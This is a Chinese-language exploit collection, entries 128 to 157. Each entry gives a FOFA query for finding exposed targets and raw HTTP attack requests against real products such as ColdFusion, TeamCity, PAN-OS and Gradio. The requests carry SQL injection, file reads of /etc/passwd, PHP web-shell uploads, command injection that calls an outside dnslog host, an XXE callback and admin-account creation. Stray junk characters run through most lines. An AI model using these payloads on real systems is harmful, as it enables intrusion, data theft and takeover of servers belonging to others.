. g/ {. V/ q3 o+ z. e; cBIM
0 S0 Z' v7 w6 Q  B; v# k+ x2 m------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
8 n+ f9 q$ x8 JContent-Type: text/plain
1 r/ j% d0 v0 c* u( r* N
<?xml version="1.0" encoding="UTF-8"?>
" G+ J) a6 [! o<!DOCTYPE test [
: S# Z, K7 X- D* H$ C9 n8 K$ }<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
7 {0 g& n( S* S' @7 C]
>
<test>&t;</test>
8 U% l( e$ a" k$ d9 [! X------WebKitFormBoundaryJGgV5l5ta05yAIe0--


; }  _/ K: ^& d
128. Adobe ColdFusion 反序列化
CVE-2023-38203
8 K% M! p8 [5 _  g# G, |. |Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
& L. t3 e8 Y# T' oFOFA：app="Adobe-ColdFusion"
PAYLOAD

129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
& |" [- S; Q; U. aGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
' z, v8 J, I; F6 U4 u3 hAccept: */*
; U7 _' O2 U6 x, KAccept-Encoding: gzip, deflate
$ E0 l. ?1 F' o! i  {: FConnection: close

, U: T( {7 g$ D& V4 E+ A2 w
  Q+ i9 q, F' c6 q7 T  a4 ]  F第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
( z3 @. l$ i/ {' s' EAccept: */*
' a( K$ e  A# G: mAccept-Encoding: gzip, deflate
% V% D& ^. z! j( B' QConnection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9


7 ?2 Z) T, }8 t130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
( i& z% [" e6 S+ {# uAccept: application/json, text/javascript, */*; q=0.01
. G8 }9 e$ _( x' Y' eX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
6 i4 s- I7 C0 qAccept-Encoding: gzip, deflate
, J# d- A% B; v3 v  rAccept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
. _3 {( _2 g4 e4 o8 G$ DConnection: close

1 i( B5 P3 `8 U/ @( }9 u------WebKitFormBoundary3OCVBiwBVsNuB2kR
, U9 p% s# Q9 I# wContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
9 o* ~( F* h0 z- O5 p1 \  e9 k9 O------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
* @% ?3 I& Q# m1 f- p; u4 kFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
, Q, `' ?5 K( O; W: `. |http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
$ p( O0 E, F( T, z4 nCVE-2024-27198
FOFA：body="Log in to TeamCity"
/ f& a7 O$ b' J2 r. X" ^3 dPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
2 F, @: L! A+ {5 T. [* D+ vHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
8 s: u9 M# Z- p7 f  z/ T; p# zContent-Type: application/json
Accept-Encoding: gzip, deflate

1 }2 O2 x% H5 l* A2 g9 P% [{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
8 |2 e( o" Q% a* h/ [/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
: r% _( z5 y/ i2 o0 Q5 d. f
( `5 a- Z  R! @, _
CVE-2024-27198-RCE.py
! S  o3 p. D6 }! W; k3 J
3 z. W: `; b5 t- {4 `$ c133. H5 云商城 file.php 文件上传
) n! I; r0 _0 d8 \FOFA：body="/public/qbsp.php"
! R1 f1 S. E) Q( M5 x0 A7 D0 ZPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
) [8 x3 h. F8 a9 f/ _Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
7 U( j4 Y  ^" |" y# n" QContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
5 E9 K  N2 }+ [4 K* H
4 F' F# j/ _5 t9 p* S9 }" l, Q* i------WebKitFormBoundaryFQqYtrIWb8iBxUCx
( J0 M8 G5 {& I4 SContent-Disposition: form-data; name="file"; filename="rce.php"
% r- }2 o. b) I( i  e2 g) L+ OContent-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
& p3 J8 o7 ]# Q0 r. P* _$ y------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
4 o2 \' _8 f' m) q

" D0 @. Q7 i% j! `- u
, f! w) b. g0 t/ T+ {134. 网康NS-ASG应用安全网关index.php sql注入
, `3 m9 m, G* K' S, ?CVE-2024-2330
+ n- E, B$ F( ^7 Y7 P- `, dNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
. ^( S$ \5 m9 |4 ePOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
3 L, `& U% q7 l/ O- ?; k# VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 f/ I* @: A7 IAccept-Encoding: gzip, deflate
1 X: p- T$ S& Y% R  k. p# \Sec-Fetch-Dest: empty
' Z- }7 x$ o  e4 m5 ySec-Fetch-Mode: cors
  z( y, I! U9 ]+ f6 I! h% X+ `Sec-Fetch-Site: same-origin
5 a* O: O& r! p8 M, T; @( L" D9 xTe: trailers
Connection: close
  r: Y. M3 b* m; U6 I) ?Content-Type: application/x-www-form-urlencoded
Content-Length: 263
  D0 K4 i; _5 I
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
3 O; r3 i0 s. ]) x+ t1 l- }" w+ MCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
2 ]9 u; A' b- Z3 ZFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
  Y( j! x& Q- O+ `! [; i5 RHost: x.x.x.x
, L- G2 h1 ~7 T0 [1 B2 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
: F5 ~% o: d/ P. U/ _. I; n) x# A6 W$ KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 `  |. ~# j8 @1 |Accept-Encoding: gzip, deflate
  L& @5 B/ b' r4 `Accept-Language: zh-CN,zh;q=0.9
Connection: close


( x; \! G2 K; |3 x0 q136. NextChat cors SSRF
5 J5 e, x" s. h3 Y* R& UCVE-2023-49785
! i2 x3 K. k9 B: MFOFA：title="NextChat"
# r8 r- `2 @* fGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
8 G" j" ^! W& X2 K# g) _Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ ~% r- d: H/ w2 N. EConnection: close
; F1 P" u0 Y$ E% g2 ^, K7 H$ [- ~4 d8 bAccept: */*
Accept-Language: en
Accept-Encoding: gzip
% D7 \1 P! h5 q$ y% l
- @6 O, K# x( Y' e( f9 A8 m1 @
, d  O" u! B! ?  ^+ V137. 福建科立迅通信指挥调度平台down_file.php sql注入
9 s# u$ Z- H  ]/ ^' h$ F- PCVE-2024-2620
) p: N+ ^/ V1 n+ g0 j. gFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
( @: U& Y+ Y/ X" YGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
0 l( v# j6 j! p0 F% u# i8 b2 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
; v0 e& f. e' l1 c% XCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
: k% i3 E- S. t1 |8 fCVE-2024-2621
: r. V2 z% _* w' P2 RFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
; }" R4 Q$ ~- nGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
, b! c  ^+ Q  U9 t# j8 O! A; GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ f0 n  f2 X3 I# ?5 F6 DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
7 {- v3 |) G5 K' A# d# u' IConnection: close
3 k9 C: a( w$ o- \' t0 k* f$ [- T: VUpgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
! P. s' H( ~: c- {8 P( x7 |Host: x.x.x.x
: I7 `% u. G" x3 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 ?- i8 e; I8 VAccept-Encoding: gzip, deflate, br
$ b) w9 \: u% n( a3 Y9 q( _Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
1 U/ J) c* e0 b% SUpgrade-Insecure-Requests: 1
( Q6 o  W" J' l+ ~7 X! \- S, Q+ w
# d& Y8 Q' H4 [, l0 z
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
' I6 Q  X7 T3 g8 \9 bCVE-2024-2566
* m6 h! c* r0 x2 Q0 f7 BFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
9 f6 ]+ |, X* J. |( o: ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" N" H  I/ Q3 X0 p; @4 t: ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
' u7 A+ O; ~) J+ f) |* J2 ACookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
3 q3 `7 M& H7 a4 Q% \

141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
8 W7 a; Z) I0 N4 c9 ?FOFA：body="指挥调度管理平台"
: u. P0 q6 [- U1 gPOST /app/ext/ajax_users.php HTTP/1.1
) {/ [& y6 a" Z8 m* EHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
! M+ o# e2 C  s+ UContent-Type: application/x-www-form-urlencoded
1 N% c! l, H+ l) d6 C" T

( a% U7 s3 _7 D6 X# tdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

3 {/ `% ^, B0 b, g. x& I& a# D
142. CMSV6车辆监控平台系统中存在弱密码
* n# w( e! u% Y% R+ E  DCVE-2024-29666
FOFA：body="/808gps/"
admin/admin
; R) @& P; O( A9 l  K0 d' o143. Netis WF2780 v2.1.40144 远程命令执行
- }3 I' Y& C) ]: zCVE-2024-25850
9 F6 N: r( P* _8 @: K% QFOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
, g# T) P$ ?% U3 t. o' Hsystem参数用于传要执行的命令
1 o# K" B" g9 T# ^* S, xGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
3 k2 O4 C  g: P! @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
, x- s6 r3 L6 Z3 @  b$ l( c* D1 AConnection: close
Accept: */*
& P: ~1 s- d" D& v4 \! B6 QAccept-Language: en
8 i3 b; N' D+ R4 |: Y* |Accept-Encoding: gzip

# n9 _" q, u7 }# p, }
/ f) b- O) F6 S6 z3 l3 V9 t! f145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
9 T5 v, ~8 s' q/ {$ ~' C5 s9 l  ]FOFA：icon_hash="-631559155"
4 S5 [' i8 t. n4 i/ @& N3 JGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
4 H) l7 ~/ O/ L' t+ S+ U8 p. b0 [% dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
/ Z  M' e8 u' G) C$ k2 T5 ^" \Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip


3 p8 p) g( B: P8 _8 i# S2 p146. MajorDoMo thumb.php 未授权远程代码执行
3 I) j! h3 l2 l' z- x  D1 @CNVD-2024-02175
1 w) E  c6 \+ ?) wFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
0 t- K) ~8 m1 UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
* n/ J- {! J* o/ K, aConnection: close
) J% |$ _0 q/ Q3 h+ i5 t9 _7 j

) g# J6 A$ H% k$ `7 v; S147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
- S! O% K3 r+ d5 z$ R5 e; g6 b$ S6 zHost: 127.0.0.1:81
( |8 m& }1 \+ t* ~. O- {1 ]Cache-Control: max-age=0
6 O( }# q- O0 N5 ~' x" ?Connection: close

4 d. C/ J$ T0 W' a3 u; A
: W1 A" H9 t2 j% Q1 ?. j148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
. {9 F& r) M7 N' y9 G* B
149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
& }0 q! n" i5 x6 x; f5 q
( U( Q3 F6 n* I4 u9 j+ B6 }7 n5 k/ YPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
4 E& r+ M9 i% J4 v: [6 `Connection: close

/ v! r5 z& Z7 ^: A, t3 {( ?{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
, }' @5 U( F" S# f/ R9 c7 W# U
150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
' V' W9 }- S+ HPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
% @% P4 M0 w% o3 e3 k* Y' GHost: x.x.x.x
& {, Y9 x$ U4 J! @! E7 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
1 n+ D& Y' C  eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! A: b! G* @5 OAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
6 `+ y. S1 Z0 B) m/ g4 kContent-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
2 O" d5 M+ f4 G
* A. ?/ l+ O2 U" _7 U+ J{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
1 |% n: b! l+ h1 v0 T) a' Z
7 D  s' }7 X5 D
151. AJ-Report 1.4.1 pageList sql注入
. O! U! C- k% O; TFOFA：title="AJ-Report"
, ?  f* G& s9 x- i/ eGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
% z1 ]$ g. n0 i8 HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 K# ?; t* l) U. A% q3 vConnection: close
  v* y0 W2 C4 q7 `6 z5 [" TAccept-Encoding: gzip
/ J* z1 q0 q: g+ h- _

, w: e6 t$ m, Z% k, o. Y7 G8 i- v* g152. Progress Kemp LoadMaster 远程命令执行
: W. \+ q, N# l: S) DCVE-2024-1212
! K8 _, a9 g, l  x. fLoadMaster <= 7.2.59.2 (GA)
8 r( b  w' j8 L  R/ ~% uLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
' f6 @+ o) L2 EFOFA：body="LoadMaster"
: U4 p. Q7 X' @JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
/ H$ x; L6 r7 X1 S7 m) b7 _GET /access/set?param=enableapi&value=1 HTTP/1.1
! C" |" c3 Q: ~Host: x.x.x.x
. W; u3 f8 r5 ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
# d7 w* `- G& N- A, S5 [2 ~Connection: close
Accept: */*
# b- R* R* ~. v/ @4 FAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
8 u" ^1 S# S5 \  `# q7 w

$ }% G7 ?" |; M; C2 K153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
. z1 W( {' n5 ^0 k/ ^* b0 H0 ghttp://x.x.x.x/config


第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
/ L5 [; ]2 z& I% e" }$ i& s3 C- xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
* n& p* T6 W* N" zContent-Type: application/json
$ J. A' Y- t& qAccept-Encoding: gzip

- A  @) R4 p" M{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

$ g2 q, B7 r; ^  b/ L/ m0 |7 R
; X8 h4 }6 |' C' N" F6 V- p第三步访问
) S/ F% Y( p* `# T- whttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
' H5 A5 d% [+ ?

1 s" p, f* r$ v8 [, A0 `154. 天维尔消防救援作战调度平台 SQL注入
; o- G  w5 P5 m) GCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
" e1 l$ U5 D/ F0 ~1 R- H0 lHost: x.x.x.x
Content-Length: 106
0 c! T( h8 f3 e- q0 C8 U5 gCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
8 y) I0 t7 s2 @) `+ \$ C& W9 xOrigin: http://x.x.x.x
Content-Type: application/json
# M  f0 \# ?4 E- XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
8 [  U& A' c- zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' m$ T9 X$ P' y0 a1 u: N% y0 oReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
) p: O+ U% ]+ W: @5 dFOFA：title=="上网导航 - LyLme Spage"
  y5 F. U4 g0 k9 Q; UPOST /include/file.php HTTP/1.1
- n% {) ~) F. C9 sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
; V- ?8 F& H% x$ o' X/ }- q9 x1 wContent-Length: 232
! s* O$ x" J, E2 v) _Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
! L3 W: p+ a1 o- T6 TX-Requested-With: XMLHttpRequest
" \" L1 M' m. ]; g' ^1 {* K! D
0 _+ C7 C) i8 B& {-----------------------------qttl7vemrsold314zg0f
3 G, T1 R; A9 G9 U- eContent-Disposition: form-data; name="file"; filename="test.php"
: v# E3 F3 G% u: G5 I  ~Content-Type: image/png
6 B8 h" x% \% v  N9 ]( B9 g
) ^$ ]: L$ h0 i2 O/ `<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

5 R7 {9 B% |* a+ |
5 o* g, m( ?( Q) A( g& ~3 V访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
2 O  \) M8 X0 p/ p
156. TBK DVR-4104/DVR-4216 操作系统命令注入
$ x% b: V8 Z9 l3 h  g  l! RCVE-2024-3721
FOFA："Location: /login.rsp"
0 }( }. ]# I' ~' g! u$ r1 p& I·TBK DVR-4104
, \: E5 B, `* R- X0 Z/ {·TBK DVR-4216
+ q! M4 ?' }( E; V" }. t7 lcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
+ I3 g* |: A! L4 h& Y6 c9 G' ]

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
; J& U/ |3 @0 u( B) oHost: x.x.x.x
& U+ K& l  w. w3 xUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
1 d: d8 t, U- r6 q2 h& MContent-Length: 0
/ |+ T8 h$ D& l9 xCookie: uid=1
Accept-Encoding: gzip

) s. `+ q4 _% {$ P" Y# y
' @9 _- Y* d" s3 N9 z  j157. 美特CRM upload.jsp 任意文件上传
; @$ {! ?$ p) O4 Q; RCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
) F* I% V! A+ e$ Z/ p7 l3 lPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
: b+ V3 R/ U: vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
2 l) R& P7 B  uContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! l/ d/ `, ~3 }' p. A; BAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 e* e8 ~# a  \1 [& ECache-Control: max-age=0
) j5 ?9 W( G( @Connection: close
; L2 r$ l3 o! Q; Z5 T8 X5 Y. p" IContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
! Z. t- j4 H6 C$ |" O5 O2 \8 f8 mUpgrade-Insecure-Requests: 1
0 I) Y' _+ b/ ^: o1 X& g, N" `* Z
------WebKitFormBoundary1imovELzPsfzp5dN
9 S; a" o5 `& s  F" S: t# D/ z, w! iContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
. Z, t4 k  L9 Q5 F  |: D" @& G5 pContent-Type: application/octet-stream
; C5 a: l! O; W
nyhelxrutzwhrsvsrafb
* d1 J# }' t% A------WebKitFormBoundary1imovELzPsfzp5dN
1 o, F" l: W& L' c% }Content-Disposition: form-data; name="key"

# U9 _# c  }, B0 Snull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

2 Y8 a- \( [4 b; E4 U" l* Lnull
- s1 V* n' y$ g4 A" W5 y4 C------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
- {% ]. i5 |6 B$ I1 L$ M. B, y
null
' I/ |0 _; t* F* `2 m/ `. `------WebKitFormBoundary1imovELzPsfzp5dN
% O4 m5 C* U/ f- |. ZContent-Disposition: form-data; name="filetitile"
  u& x" K2 S: t  c
* m9 ~- b1 ?: ~" s; _null
------WebKitFormBoundary1imovELzPsfzp5dN
